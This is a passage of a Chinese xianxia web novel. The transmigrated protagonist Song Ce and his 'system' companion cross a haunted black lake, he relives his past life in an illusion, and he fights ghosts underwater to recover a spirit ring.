宋策看向黑暗的深处,他仿佛能从那空洞无物的前方看到一双苍老浑浊的眼瞳,哀叹地看着自己。
“你不是、你见不到他的。”
“你会被万千生灵的怨火烧死,会被葬在黑水深处。”
“走吧。”
系统都听得要打瞌睡了,宋策却被一瞬间送回法阵之外。
“宋、宋策,这极渊中传说是真的,这里真的有通、通往、往生界的冥河。”
朱半规无力地跪倒一棵枯树边,他浑身上下无力颓废,脸色惨败,面前是一望无边深不见底的黑水,水面平静,周围一丝无风,寂静无声,他低着头喘了口气,抬头看着宋策。
宋策会意扔给他一颗丹药,系统在暗地里佩服。
“他也挺惨,靠着宿主你的一颗颗丹药喂着他走到这里来。”系统记得有时候朱半规扛不住了跪在地上爬了几步,宋策才肯喂他一颗解药,接了药之后朱半规还能笑嘻嘻地谄媚笑两声,夸赞几句“大人敞亮”,眯着眼睛咧嘴笑的样子连系统都看不下去。
不过他这次可没空装样子,他看着连天的横水根本提不起任何希望。
“宿主,你看那边有人!”
一页竹筏上载着一个影子缓缓向岸边靠近,无风无波平静的水面之上悄无声息影子,显得异常诡异,那一片竹筏好像突然出现在两人面前。
待竹筏靠近,宋策看清竹筏之上的人全身蒙着一层蓑衣,尽管那人戴着一顶草帽但是当他抬头看向两人的瞬间,朱半规被吓到叫了一声,那是一具混着腐败血肉的枯骨,一双空洞的骷颅眼中摇曳中幽蓝的鬼火,对视的时刻朱半规只觉得那股犹如跌入寒潭的生冷感又蔓延至四肢百骸,刺地他嘴唇发颤。
“客人,上船吗?”
正要动作宋策的察觉到受阻,他低头看去,朱半规正拉着他的衣摆,满眼恐惧地摇头,他张嘴无声地摇头。
宋策冷漠无情地抽走衣服,撇下一句话:“爬也给我爬上去。”
30. 第二十九章
“你疯了吗!”
连尽的尖厉的喊声刺激了林丛中毒虫发出嘻嘻索索的沙沙声。
“上这里来找死!”
一道冷清的声音缓缓响起,“你不也一路跟来了?”
那声音透着冷,毫不含情,声音主人目色幽静,就那样轻飘飘地扫过来,他的视线随着声音落到地上堙灭成灰的尸体,随后他薄唇轻抿。
话中意有所指:“这东西可是跟着你来的。”
“方才若不是我发现的早,你就被他生吞了。”
下一瞬地上那层薄灰便消失了,连尽看着眼前这个镇定自若的人,不知道该说些什么。
好半晌他才找回自己的声音:“谁给你说的极渊位置?”
一阵枯枝丫被碾碎的鼓噪声打破丛林之中的寂静。
“青面鬼?”
连尽清楚喻归泽身边有哪些人,青面鬼是唯一不受他控制的人。
“你知不知道我找你费了多大功夫?你来这里找死吗?宋策回城后见不到你要我如何交代!”
“我等不及了,况且一直担心宋哥的人不是你?”
“我……”
“够了,现在不是说这个的时候。”
“你想说什么?”连尽缓和语气,警惕地扫视寂静异常的沼泽地,手中保持着掐诀防备的手势,似乎这片无人之境有什么鬼怪凶煞隐藏其中。
“宋哥他们来过这片沼泽地,我能感受到他留下的气息。”
喻归泽闭目垂首冥想,一点银白色光点从他额眉心向外扩散,灵光刻画的纹路光点浮现表面,犹如万千萤火震翅飞行,那无形的光向两人周围散开,连尽略有疑惑地看向喻归泽施法的灵力走向。
喻归泽解释道:“这是追踪流萤。”
“希望能带我们走出去。”
见此场景,连尽也不再多说什么,他斜眼扫视正在施法的喻归泽,心中略有计较。
他听说宋策捡到喻归泽时这人还未入道,如今以他看来喻归泽却已筑基修为,这中间不过堪堪百日,如今看来筑基已有突破之势,与自己相比不过一步之遥,他暗自嘲解,自己甘沦为附庸仰仗他人鼻息勤修苦练也不过才金丹,他愤恨不平这世间竟然这般不公。
“你那玉佩还是毫无反应?”
闻言喻归泽目光微沉,阴影掩盖在他的侧脸,连尽见他不语也不作他言,有些好奇地撇了眼喻归泽拿在手中的东西。
“你手中这到底是什么东西?”
喻归泽垂眸打开欲言又止最后坐在树下,他眉宇间夹杂着忧虑,将书递给连尽问他:“你认识这书中文字吗?”
连尽眉毛一挑,轻笑接过随意翻看:“公子说笑了,我可不像宋策自学多种文字,只认得些通俗字。”
喻归泽不搭话,他知道这人看上去趋炎附势狡猾耍懒,其实早些年跟在宋策身边学过不少东西。
连尽似乎是知道他心里想什么,眼尾轻挑,斜了眼喻归泽,红唇潋过一抹狡黠:“早些年我不认得字,是宋策教我认字没错,但我确实不认得这是哪家的字。”
“这书以画本子做伪装,写了鬼城的由来往事。”
喻归泽不再言语,眉间轻挑,唇色少时发白,他垂眸大口喘息,指尖忍不住捏紧下半身布锦,连尽见他痛苦的样子,表情平静似乎早已习惯了他发病的样子。
良久,连尽才开口:“走吧,再不走这天色黑了脏东西又要出来了。”
“你走不走?”
宋策似乎是等得不耐烦了,他伸腿踹开趴在自己腿边的朱半规:“不走也行,在这等我。”
朱半规听此灰白的脸色有了一瞬间的红润,他眨着眼期待道:“可以啊,你把药给我,我在这里等你。”
“一颗”,宋策扔给他后假意笑着说,“若是吃完了我还没回来你就走吧。”
朱半规呆滞地看了眼捧在手心的药,不敢置信:“什么意思?就一颗,那你回不来我……”
“你死。”宋策平静冷漠的丢下一句话后撩袍转身上筏。
朱半规看看手中药又看看摆渡者撑船点岸的竹筏,咬咬牙想了想还是小命重要,这黑酸酸的湖水保不定还有什么吃人的东西在等着呢。
早死还是晚死他选择现在不死。
“宿主,它好像在看你。”
系统能察觉到这一股若有若无的冰冷视线犹如打量一件物品上下扫视着宿主,湖上雾色渐起,寒意随竹筏激起湖水波澜摆动攀附上湖上之人。
远处的水面平静,但低头看向眼下的黑水,湖面却始终照不清自己的脸,黑水深邃仿佛有巫蛊禁术吸引人一探究竟。
“宿主,这水有古怪。”系统机械般的声音里带着一丝确信。
“你能察觉到?”
“可能是任务在持续推进,最近察觉到系统本身能量有所恢复,对任务世界的感知比以往要灵敏,也许往后对宿主也有帮助,总之宿主万事小心。”
“找到灵药为喻归泽疗伤我们才有更大把握完成最终任务。”
系统知道自家宿主一直为了主线任务尽心尽力,从不懈怠,虽说对外一直打着为黑风鬼找灵药治疗旧疾的幌子,但按照系统对宿主的了解怎么想都不可能,他家宿主不可能冒这么大风险吃瘪为他人做嫁衣。
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他不给黑风鬼下毒算宿主善良。
从宋策这一路对待朱半规可以看出点宿主的性格,睚眦必报,绝不心软,系统猜若不是宿主有把柄在黑风鬼手上,他早就把黑风鬼挫骨扬灰了。
根据宋策在法阵里和老头子的对话,如果不是诓骗那老头,宿主说了“身边人”肯定就是喻归泽,没反驳就是承认!
宋策不清楚系统的脑回路,他的目光没有离开水面,轻轻荡起的水声划过宋策耳边,他眸光闪动冷厉地回视始终一言不发背对着自己摆渡人,只是一瞬间那抹若有似无的视线又消失了。
“宿主,他好像在唱歌?”
系统似乎听见絮絮缓和轻语,在竹筏荡起的水声交替中显得万分诡异,明明这怪异的家伙看上去都不像个人了,反而像是一具腐烂的尸体,就连嘴巴都没了,想起这系统远远看向刚才小竹筏离开的岸方向。
“宿主怎么回事?岸去哪了!”没划多久怎么连岸都看不见了,这雾气薄薄一层却始终看不清远处,系统的提醒并没有让宋策出声。
他转动着绿色眼珠,缓缓查看水面,竹篙撑着黑荡起波澜圈圈向水面敞开,耳边的歌声越来越大,仿佛在耳边清唱,但他却听不清歌中所唱,歌声嘶哑嘲哳似哭似笑扰人听觉。
薄雾弥漫缭缭,丝纱轻飘般围绕这片湖水上方,宋策将视线移向身侧,那一直背对着他的骷髅船夫缓缓转过来,“咯吱咯吱”地清脆骨骼声压过鬼哭声。
宋策抬头看去,骷髅的两只眼睛在斗笠之下闪烁着冰冷的幽兰火光,未见他多做其他动作,骷髅“咯咯”笑了起来,宋策眼见着那两处鬼火影影绰绰晃动晃眼起来,视线犹如在水中受阻一样看不清。
那一层层雾色涌上眼前,骷髅完全被白茫吞噬,最后只剩下两个绰约晃动的鬼火,眨眼之间眼前一片浓白。
“宿主?宿主?”
声音遥远飘忽,宋策分不清眼前是什么情况。
一瞬间又仿佛过了很久,他眼睫轻颤感受到冷雨打在脸颊上,珠粒大的雨水被风卷的四处招摇,雷声轰隆不停,闪电狂舞恨不得一举撕裂天上黑幕。
寒冷毫不留情地席卷上身,宋策颤抖着手抹去眼上水渍,冷意刺痛他的皮肉,他顺着左眼皮狠狠搓了一把眼尾,动作狠厉拉扯着指尖下光滑的皮肤,察觉到不对宋策动作停顿,眉目折起。
“系统?”
周围除去雷雨声和被风卷起的枯叶摩擦声,回应宋策的是——
他顶着风雨抬头,耳边的声音是回忆里冰冷的叹息和隐含的嘲弄。
“回去吧。”
“你在这里跪多久都是没用的。”
31. 第三十章
“他不会白给你钱的。”
雨水的凉意浸湿膝盖上的薄布渗透进骨头缝里,刺地他浑身止不住地颤抖,仿佛和从前一样,抬头看不清雨水中站着的是谁,看不清落在自己身边锃亮的皮鞋,看不清自己所跪是谁。
他低头一瞬见左手上一抹银色光亮,意识到什么便叹了口气。
轰鸣雷雨声里,只有一把伞在几米开外,在幻境里他还是没有见到那个所谓的亲生父亲,宋策伸手摸进胸口衣服里侧,那内里的口袋还没有被雨水完全浸湿,很小心地揣着一张纸条,那个纤细聪慧的女人临走前遗憾地笑意还在眼前。
宋策想了想随手将纸条扔在水里,很快纸条上的字被晕湿成渍,最后连纸都糜烂在地上。
“打扰了。”
“我送你回去吧……”
他向前走了几步伞面终于落在宋策的头顶,宋策思绪几经变化,也记不清这中间发生的什么。
他淡然道:“不用了。”
撑伞青年人平静的脸仿佛是一张假面,嘴里吐出的人语也是最冷静自持仔细恭敬的,旁人挑不出一点错,往后跟在自己身边时也是这副等滴水不漏的样子。
兴许年少时他听到的逐客令里毫无嘲讽和奚落,心境不同的如今,在幻境里听着心中也再难掀起波澜。
年轻有为,是那老头子喜欢的模样,和后来跟在自己身边时一样,有时候他也要可笑地怀疑,这里的第一次见面是否是那男人故意安排的,否则后来这人又怎么会如此轻易地跟在自己身边帮助自己,鱼死网破也有他一半功劳呢。
宋策敛目轻笑,他在雨中颓然放松身体,坐在湿滑的地面抬头看了眼撑伞的人,宋策目光落在他伸出来的骨节分明的手上,嘴角笑意明显,但手上动作只是转动着戒指并未搭上他的掌心。
宋策在等,自己上半辈子就那么几个能看的事情,他不为其所困这幻境也不过是镜中幻花。
场景的变化犹如电影影像在迅速放映,时间线是错乱的,身临其境如梦似幻。
“……呃……小策啊,我们……不治了。”
“我知道家里没钱了,不要再求人借钱了。”
“你妈走后,我也……拖累你……往后你……嗬嗬、好好照顾……嗬……”
病房里的消毒水味道和仪器滴滴声响犹如在当下,时时刻刻困扰在他的梦魇里。
“你真的不和我走吗?”
在幻境里他和当初一样,选择了他希望的那条道路,亲生母亲告诉了他的身世留下了一笔钱最后远走他乡了无音讯,也许这就是最好的选择。
“我习惯了这里的生活,既然你已经选择自己的生活放弃了我,往后就不要来打扰我了。”
她说她没得选,那时她太年轻孤身一人书也没读完,不得不将他交给别人抚养。
宋策当然知道她没得选,美丽聪明的女人被强势的夫人逼得走投无路,已婚情人的默许和他夫人的以钱作码,她知道最好的选择是什么,将一个毫无继承权的拖油瓶遵循协议丢给无儿无女的夫妇,南方一座偏僻贫困的小村庄,女人花了十八年走出的地方,宋策和她一样走了十八年。
女人所说是真是假对于现在的宋策来说,至少在幻境里这些都不重要了,以前不重要,现在一样。
宋策话语微顿还是将剧本演了下去。
“至于你说的亲缘上的父亲,我也没兴趣去探亲。”
那场满天飞舞的细雨连绵潮湿,黏腻到皮肤和血肉里。
“小宋啊,你还年轻,我们搞科研的不能心急,这次就给你的前辈,下次还有机会。”那手重重地拍在他的肩膀上,手的主人眼中满不在乎和任意妄为,他翻过一座山还有无数座山屹立在他眼前,冰冷的窗户玻璃上滑落的雨水痕迹像蚯蚓一样扭曲,教授笑着的嘴角渐渐模糊在视线中,只有那面湿透的窗户。
他的人生仿佛被人算计好的,好似被一只无形大手放在海浪之中随bio波逐流浮浮沉沉。
最后那些年里被老头子领回了家,控制欲极强的男人在诸多继承人中养蛊一般任其斗得你死我活。
“你和你那个妈一样下贱,不是个正派人,觊觎别人的家产,一身贱皮软骨!”女人尖厉的嗓音刺耳似乎要划破所听之人的耳膜,撕烂当事人的脸皮。
面容略带纹路却依然俊美的男人拿着钢笔轻轻敲击桌面,他看过来:“我这么多子女中,你最像我,自你十五岁那年找来,这么多年我就一直注意着你。”
“否则你以为这些年谁在资助你?”
“可别让我失望啊。”爽朗的笑声和雨水磅礴的声音重合,在他听来刺耳万分。
“记住,想姓宋还有一段路走!”
公司里茶水间里,调笑的声音时不时从四面八方而来钻进所有人的耳朵里,嘴巴张张合合,眼里尽是稀碎调笑讽意。
“挂了个宋姓,走后门进来的。”
“据说十几岁的时候从乡下找来过,被赶回去了!”
“我看啊,还是他那个妈聪明,拿了钱就走,去国外重新找个人过日子多好。”
“人心不足蛇吞象!”
他的对手太多了,多的让他心生胆怯,他恐惧过,麻木过,在容忍和施舍之中抓住稀少的资源,在觥筹交错里一步步走向衣冠体面的最中央,最后从容地举起酒杯,与虎谋皮谈笑风生,那时他放纵自我终于体味到脱下白大褂穿上贴身的西服游走在灯红酒绿里的迷醉,找到一点自我和自由。
难怪那男人一生享受控制和权欲。
铁器摩擦柏油路激起的火花刺眼,在死前那一瞬间似乎隔着冰冷的钢铁闻到了那股焦糊味道。
“做事不要做的太绝。”
“做事不绝等着别人赏我一口饭吃?”
“可是——”
宋策看着自己冷淡地甩开别人阻拦的胳膊,一步错,步步错,那时的自己沉浸在纠结的偏执的情绪里,似乎暴雨过后从来没有冷静地做过自己。
剧烈的碰撞让他看不清眼前的场景,鼻侧鲜血淋漓滑落在昂贵的西装上,往日捆缚自己的体面衣冠如今也变成扼住自己呼吸的枷锁,仿佛年少时从未解下的束缚,十五岁那年的暴雨从未停止倾泻,它们化作湿滑黏腻的触手在梦里、在现实中紧紧地缠裹住他的口鼻,仿佛下一刻就要将他拖入无间地狱。
“杀人!杀人不会吗?”粗哑的嗓音彷如厉鬼降临,贴在宋策耳边的声音蛊惑诱导,红色的细线从四周围堵过来。
“不杀了他们,你也别想活着,等他们玩腻了就挖出你的妖丹,等着做个毫无灵智的畜生吧!”
“畜生!”
“我让你杀了他!”尖刀被塞进这具本不属于自己的躯壳的手上,他第一次拿着利刃被迫掌控他人的命运,被把控的左手毫无防备地刺进柔软的血肉中,鲜血喷射在他脸上,血腥味道堵住了他的咽喉让他难以呼吸,唾液随之涌上喉间,他再一次忍不住撑地呕吐,唾液泄物横流狼狈不堪。
嘲笑、讽刺、谩骂,他双目充血看不清站在身前的人是谁,是人还是鬼,是妖还是魔,他只知道自己从一个灰暗冷寂的荒漠来到一个杀人无偿毫无法度的地狱。
“最看不得他着傲气的样子,给我剁手!”
“求我,跪着求我,我就让他们放了你,否则就剁到你跪为止!”
廊画围绕,血色梨花漫天飞舞,苍白如纸的面皮轻轻擦过宋策的脸颊,他鬓角细发无意撩过他的脖颈,红唇蹭着宋策的耳郭,冰冷的气息拂面夹香。
“跟我,我就送你出城。”
“给你两个选择,乖乖在我身边做我的妖奴”,黑风鬼舔了舔乌
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紫的唇角,眼皮抽动着,血色从他丹田处汩汩流出,腥臭难闻,他说,“或者我挖出你的妖丹。”
“你选一个。”
“人人嫉妒你、厌恶你,恨不得你死!”
“谁让你抢了他们的东西?”连尽歇斯底里的嘶吼让他面色涨红,青筋凸起,再也不似往常纤弱扶风的模样。
“我们一路走来,相互扶持为什么会走到这种地步?”
他耻辱一般地打翻宋策的丹炉,落在地上的火星溅到宋策垂在身侧的手,连尽见若未见接连推翻木架上的药材器物。
“是你!是你逼我至此!”
指根戒指闪烁几分,宋策眼角余光与戒指光辉交错,画面犹然扭曲,连尽那张愤恨的脸却猛地被宋策拉进,宋策伸手掐住这场闹剧中心的人下颌骨,他的手顺着那张愣神的脸扼住他的脖颈,他神情默然,话语却冰冷又嘲弄:“我逼你?”
“是你自甘堕落,甘心仰人鼻息与我何干?”
“宋策——”
就在蛇妖忍受不住口涎淋落之时,那颓败靡废的身影消散在宋策手中。
在藏书室里,青面鬼附身磕头,万分恭敬地递上书卷,信誓旦旦:“我可以给大人想要的。”
画面重影交辉相应,噪音从四面传来。
“宋策你就是个畜生,狗杂粹!”
“宋策——”
“宋策——”
“我是畜生,你们又是什么?”只能诱人回忆往事的迷障对宋策来说犹如水中看月,过往如烟早已消散在上辈子,昨日龌龊从来不值得追忆和痛苦。
宋策取出一柄毫无灵力附身的匕首往手掌割下,血液顺着掌纹流下,他举起手在眼帘狠狠擦过,视线蓦然清明,方才恍惚重影的幻像虽未有改变但耳边时刻响起的杂音渐息。
血液浸湿指缝之间的戒指,莹白灵光闪烁,宋策眼睫颤动,他摘下戒指朝着幻像中心扔去,刹那戒指似一道利剑破空撕裂了扭曲怪异的影像。
一缕白光透过裂开的虚空照进虚无幻境之中。
“咕——”
“宿主,你吓死我了!”系统眼看着宋策在和那具骷髅的对视之中失神,雾气上涌之时骷髅在白茫之中消散,竹筏以肉眼可见的速度腐烂,他看见宿主也跟中邪了似的一动不动沉入水底。
“戒指!”
“什么戒指?快走宿主,你后面!”
“下面也有!”
黑水寒冷彻骨,低阶法袍也无法屏蔽着怪异黑水的束缚,宋策只能退去外袍朝深水下潜,白色亮光渐渐消失在下方。
“宋哥,这……你先戴着。”
“这不是你最宝贝的东西?”
喻归泽自行忽略了宋策的调侃和打趣,自顾自道:“往后我都想和宋哥一起修行,可以吗?”
“笑什么?”
“这是报酬?”
喻归泽语气有些不高兴,眉宇间折痕未消,似乎在不满意宋策这不合时宜的玩笑话,“什么报酬?”
“我修为低没法保护宋哥,这枚戒指兴许有用。”
“……这要看喻公子意愿……”宋策了然,眼尾轻挑。
难得宋策拿着寻常旁人对喻归泽的称呼作笑,眼前人低着头浅笑未如往常一般看着宋策的眼,因此未看见宋策打量的神色和那幽深如寒潭的眼底。
喻归泽抿着唇眼角都含着笑意,少年身形早已抽条,就连手指都根根分明修长,他摘下戒指牵起宋策的手为他戴上:“但愿如此。”
“宋哥可要好好保管着,丢了你要找回来的。”最后他爱惜地摸了摸戒指,小指和无名指若有若无地擦过宋策的右手小指根部。
细细的暖流猝不及防地划过心尖,但手的主人却垂眸掩饰着眼底的情绪。
湖底阴暗模糊,湖水暗潮汹涌。
32. 第三十一章
“宿主快上去!”
“后面有东西追你!”
宋策回身看了一眼身后,在晦暗的水里他的视线受阻,他隐约看见几米开外有几个模糊的身影朝他这边游来,水纹荡漾,宋策朝水下看去,心中不由一沉。
“好多,水下面也有!”
“宿主,我们先上岸再说,别找什么戒指了!”系统慌张地催促,只见水深处密密麻麻的黑影犹如密集的黑色蝌蚪蜂蛹而至。
宋策小腿一蹬,往上游,谁知下一刻一股冰凉的感触攀附在脚腕处,有什么东西紧紧地拽住了宋策的腿,力道之大让他难以挣脱。
宋策左手掐诀念起避水诀,须臾周围生起一层透明的水波屏障,他右手从储物戒中取出灵符,动作迅速地点燃爆破符箓扔进那乌压压的群潮之中。
“嘭”地一声,水下翻涌朝上掀起了巨大波浪,那围剿在宋策不远处的黑影被炸开一道小口,但很快豁口又被堵起来,似墨汁晕染清水那般迅猛快速。
宋策接连使出数道伴有攻击的符箓,只能击退片刻,反而因为要躲闪黑影的攻击消耗了许多体力。
银白的金属光泽持续往水底跌落,要拿到戒指宋策必须往下潜游,这些鬼影却时刻想将他破坏其防护,拉他入水,一张扭曲乌黑的人脸朝着宋策架起的水膜贴近,那张脸焦黑腐败,无形的水波荡开那层腐皮之下清晰看见红白相间的糜烂血肉。
“宿主,别找了!”
“嘭嘭嘭!”
十几只鬼影拍着宋策周围的屏障,宋策使出符箓击退几只,随之而来又是数不清的鬼影,整个水球似的屏障密密麻麻贴满了鬼影,就像是无数蚂蚁舔舐着地上的蜜饯,蠕动着攀爬着、嘶吼着,系统见此也知道这时候也没办法再劝说宿主跑了。
“怎么办?怎么办?怎么办?”系统的慌张的声音在宋策脑海中炸响不停。
宋策手中拿着最后一张符箓,他看了眼被自己击退的一处空缺很快被几只鬼影堵住,他眉心一紧,水膜屏障一定限制了他行动的速度,他嘴唇轻启,口诀还未念完一道白光划过屏障随之破裂,水波倾泻而入,围堵在上面的鬼影一刹那如灰消散。
“宋哥?”
脑海中冒出喻归泽的声音,是传音。
“真是你!”喻归泽朝着宋策靠近,他波澜起伏的衣袂裙袍在水底的暗光之下显得圣洁又神秘,他的发丝随意悬浮在他那双眼周围,青丝缭绕的眉眼之中尽显惊喜和庆幸。
“你怎么来了?”宋策一把揽过喻归泽的腰,朝他身后挥出一击,他身后的鬼影被击退消散。
“宋大人,我们来救你了!”
两个身影从宋策后方游来,宋策看去,是朱半规和连尽。
“快上去,鬼物太多了!”朱半规还没等其余几人有什么反应,他率先在黑压压的鬼影来之前拼命往上移动,那迫不及待的样子似乎像是完成了某项不得不完成的任务后逃离险地,他急切攀游的身型像一只大□□。
喻归泽抓住宋策的手预备往上,但却受到一股阻力,只能疑惑地看向宋策。
连尽在水中露出的蛇尾更方便他的行动,灵力游走之间的亮光折射出他尾巴上碧青色的鳞片,蛇尾摆动摇曳姿态显得妖娆又妩媚。
宋策拉着喻归泽的胳膊,眼睛却往连尽那边看了眼。
“上去不必等我们。”
“上了水面就破了迷障,记住不要迷失在雾中。”
连尽的上半身隐没在昏暗的光线之中,身形犹豫几分后转身跟着向上游去。
“宋策没和你一起上来?”
朱半规往水下看了一眼,那些鬼影仿佛被捆缚在水底一般,在离水面几米之下鬼影就停在原地,定睛看去,水面之下整齐地剧集一层巨大的黑网,让这清澈的湖水看上去像是浑浊无比的黑水,整个水下都是被捆缚的鬼怪,它们伺机而动地潜伏着等待着下一个猎物。
朱半规看着水面等了半会儿,也没见宋策和喻归泽上来,他有些诧异地转身问在一旁打坐的连尽。
没成想连尽没工夫理睬他,只是一味地调息,他的左肩被水下的东西给抓伤,血肉模糊,依稀能看见血色之下的森森白骨。
朱半规看得眼皮跳个不停,他纯粹是因为想在宋策面前表现一下,好讨要丹药救命,在水下基本没出多少力。
眼下宋策没上来他有些慌。
之前他在岸边等了不知道多久了,这鬼地方没个具体时间参考,他越等越慌,只能看到湖面上朦胧一片,一片竹筏的影子都没,想着不能坐以待毙之时,连尽和喻归泽就出现了。
在水上被迷雾吞噬心智的间隙,喻归泽唤醒了他,三人这才注意到水下场景。
现在想来还是有些心悸,他眼珠子转了转,打量了一番连尽,看向他苍白的脸,朱半规的表情有些玩味起来。
他不怀好意问道:“我们日理万机的连大人怎么也来了,这喻公子着急忙慌地要来我能理解,你?”
朱半规斜眼笑着,那三白眼一现,满眼不屑和嘲弄。
“城主大人不过问?”
连尽蹙着眉,身型看上去疲弱不已但他还是忍着痛站起俯视着朱半规的调笑。
“朱大人未免管的太宽了些,城主大人日理万机怎会过问我的小事。”
连尽指尖微抬,一抹灵力射出,朱半规顿时按着腹部痛呼,他白着脸抖着唇抬头看背着光的连尽,难以置信地眼神让连尽轻蔑出笑。
“果然中毒了,药还没吃完吧。”
连尽施施然地蹲下,他轻佻地勾起朱半规散开的一缕头发狠狠往下一拽,朱半规的头随之猛地往下一磕。
“在我这儿呢?”连尽把玩着手上的小瓶丹药,他漫不经心的动作换来的是朱半规的谄笑。
朱半规上手欲抢,被连尽闪躲,药瓶在他指尖转了一圈又回到手心,他微翘着唇,作弄似的夹着嗓音嬉笑:“小心点,就这么多,宋策可都给我了,若是掉水里化了,朱大人就没有了。”
“届时只能舀一勺子湖水喝喝了。”
朱半规暗咬着牙,皮笑肉难笑脸上僵硬不已。
“怎么会?连大人心慈良善断不会让我喝这黑水。”
连尽笑意不达眼底:“朱大人没听过蛇蝎心肠吗?”
他指尖灵力反转那白色瓷瓶在空中划出了一道优美的弧度。
“哎你——”,朱半规恼火地看了眼连尽,趁着那瓷瓶落入水中的一瞬间施法牵引一道灵力挽救了自己的小命。
与此同时,水底的暗流卷席着包裹住宋策和喻归泽的水膜,那些鬼影随着两人的灵气波动疯了似的朝他们扑来。
宋策来不及躲闪,情急之下抓着喻归泽的衣领猛地将他往外一推,动作剧烈挣动之时,包裹住宋策手腕的绷带散开,冰冷和轻微窒息的不适感甚至让宋策感受不到伤口疼痛,纱布擦过他的裂口,鲜血顺着他脱离水膜的一瞬间弥散在水纹波澜间。
喻归泽震惊地伸出手企图抓住宋策向下沉没的身形,晶莹的气泡顺着他唇齿往外倾泻,慌乱之中气泡和波浪甚至让他看不清宋策消失在他眼前的背影。
“别慌,顺着感应去找戒指!”
“我去引开这些东西”,宋策最后看了眼喻归泽转身向黑水深处游去,最后消失在喻归泽的视线中。
宋策能在幻境之中醒来,和那枚戒指有着莫大的关系,他肯定水底这些鬼物惧怕那枚戒指。
最初察觉到喻归泽身体里的戒指,凭借着宋策对灵器的判断,他能感受到这枚戒指蕴含着不同于一般灵器的神韵,他在前城主的藏书阁里翻阅到关于天灵族为数不多的记载,有关天灵族的记载似乎被仓皇之中消损,但宋策还是宋策零星的字迹中了解到,天灵族擅长器物炼制、法阵绘制、符箓篆刻等等天马行空的修炼。
脱离于传统的修炼
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,天灵族像是在研究整个世界的运转法则,不论是何种修炼体制,天灵族包罗万象地支持天地有窍生万物,万物皆可登仙成神。
一枚戒指对于擅长炼器的天灵族来说也许不是什么宝贝,但是贴身佩戴在天灵族少主身上的灵器,不是上古神器,也是上等法器。
宋策发挥不了神器的威力,但身为天灵族的喻归泽肯定能使用法器驱散鬼物。
宋策也不是什么傻子,亏本的买卖谁会做?
鬼物嘶吼着从四面八方涌来,宋策有所感应,似乎这些鬼物抓不到他后在将他往另外几个方向驱赶,唯有东面宋策寸步不进,宋策猜测水底的东边是有着什么。
“宿主,你快看!”
宋策定睛望去,他心念一动,立马意识到原来这些鬼物驱赶他是因为不想让他靠近这处结界。
宋策能看到远处一方泛光的屏障,宋策敏锐地察觉波澜闪光的屏障里微弱散发的灵气波动,不同于鲜活纯质灵气那样让修士舒畅,反而越靠近越是觉的心中压抑,灵力运转滞涩,但直觉驱使宋策应该往那处泛光的结界里走。
按照修阵者的猜想,如果水上是一个巨大的法阵维系的幻境场,那么水底……
“喻归泽已经筑基,你的能量有所恢复吗?”
这些日子在极渊,系统生怕宿主死在这凶险之地,他也一直没有断联休眠,也没有检查自己的程序能量恢复怎么样了。
忽然被宋策点醒,他检查发现自己能量早在一月前就恢复了将近6个百分点,他急忙查看商店有没有打开,说不定有免费领取的礼包。
“宿主,恢复的能量能够帮助宿主……帮助宿主……”系统语气艰难,他不知道能干什么,商店里还是一片灰暗,什么也干不了啊!
“能暂时提升我的境界吗?”
“不行啊宿主,这点能量太少了!”
很快系统了解到宿主的意思,他迅速从程序中调动仅存的能量传送给宋策,“宿主,能够让你跨阶使用一次五等传送术法。”
宋策眯眼笑起来,不吝啬夸一句系统,“脑子好使了。”
鬼怪像是鲨鱼闻到血腥味一般一窝蜂地朝着宋策伸出利爪,破碎的腐肉即使是在不能呼吸的水底,宋策似乎都闻到了那股恶臭和腥味,有些腐烂的手臂上肉都是灰褐色的,像是宋策自己初学烹饪时做的炭黑抄茄子。
想到那味道,他心中不适地泛着恶心。
他默念咒语,结印速成,瞬间灵光微闪,宋策的身形如烟消散。
无数个夜里,宋策转辗反侧翻阅藏书典籍,当他知道没有办法淬炼妖丹提升境界后,只能将提升能力的目标放在修习各种术法咒语上,如果等级足够,五品传送术对他来说应该不是问题。
一阵耳鸣,犹如波浪撞击耳膜的突然,瞬时宋策的身体从高空摔下撞破水底,闯进屏障。
由浮空陡然进入虚空,他还没稳住身形,就从数米空中摔下,灵气在使用那一招后早已亏空,他只能护住心脉和头部,但还是落地的那一瞬,胸腔翻涌至喉咙的腥味也让他撑不住直干咳。
不过还好保住了一条命,没被那些怪物扯烂躯体吃掉。
一颗猩红的巨树出现在他眼前,高楼大厦一般的庞然大物,宋策站在这颗树前犹如浮游观天,最让人不适的是这颗树充斥着巨大的腥臭味,树的树干如血般猩红,树皮裂缝之中还渗透出血色液体。
从这恶臭中不难判断这些腥臭的液体就是血液,源源不断,腥臭难闻。
但树干朝上的枝丫上却盛开着洁白的花朵,层层叠叠的花朵将整个树冠淹没,怨气四溢的树干上开着圣洁的百白花,这个场景怎么看都是诡异。
宋策走进树,心中那股压抑的躁抑和窒息感愈甚。
“宿主,你要小心……我又要休眠了……”
失去意识前一刻系统似乎瞧见了宋策眼瞳闪动的莹绿色冷光。
33. 第三十二章
“大人?大人?”
“宿主,他叫你呢!”系统的声音乍然响彻在脑海中,宋策还有些不习惯。
他停下手中动作,将茶壶搁置在桌子上,揭起杯盖抹去杯中快要溢出来的茶水,挑眉看向早已露出疑惑表情的九婴。
“大人这是在想什么?这般出神?”他的表情似乎有些讪意,手微遮掩口鼻掩饰一番。
宋策从细碎的回忆中脱神,红烛灯火掩映之下的茶水呈现一种猩红色的光晕,他看了眼茶杯,杯中清水看上去毫无口欲。
意识到面前还站着的几只妖族,方才想起刚才自己问了些什么似是而非的废话,摆手让那两只可怜的蛇妖退下,他闻不得这么腥的味道,蛇类冰冷黏腻的腥味让他脑袋有些昏沉。
离宋策稍近的蛇妖扭动着腰腹往后迁移了几步,面上露出几分讨好神色,他咬着下唇,在宋策看来颇有些优柔造作。
“大人有所不知,我们蛇族种群旁系者众,尾部会变色幻化的族群也多,我所知的蛇类就有几大类尾部会变色。”
他犹犹豫豫看了眼宋策,见宋策舍给他一眼,他挺着胆子上前一步,“大人若是在找什么人,不妨去地中二层问问,据说哪儿有算命理的晓生,颇有些门道。”
宋策施了眼神给那低眉说话的小妖,抿了口茶,茶水腥涩不已,他心绪有些堵塞,只是随手一拨,别无他意。
“咚”的一声,水溅落在桌角,两只小妖陡然一惊,跪在了地上。
九婴眉心一跳,瞥了眼宋策平静无波的表情,他抬手安抚道:“一惊一乍的,跪什么?”
“我们没有虐待人的癖好,快起来!”
从那虎妖手里救来的小妖浑身上下或多或少有些伤痕,两只蛇妖怯懦恐惧的样子能看出受了些折磨迫害。
宋策无奈的撑着头俯眼看去,嘴角泛起温和的笑意:“你们知道这里有几层?”
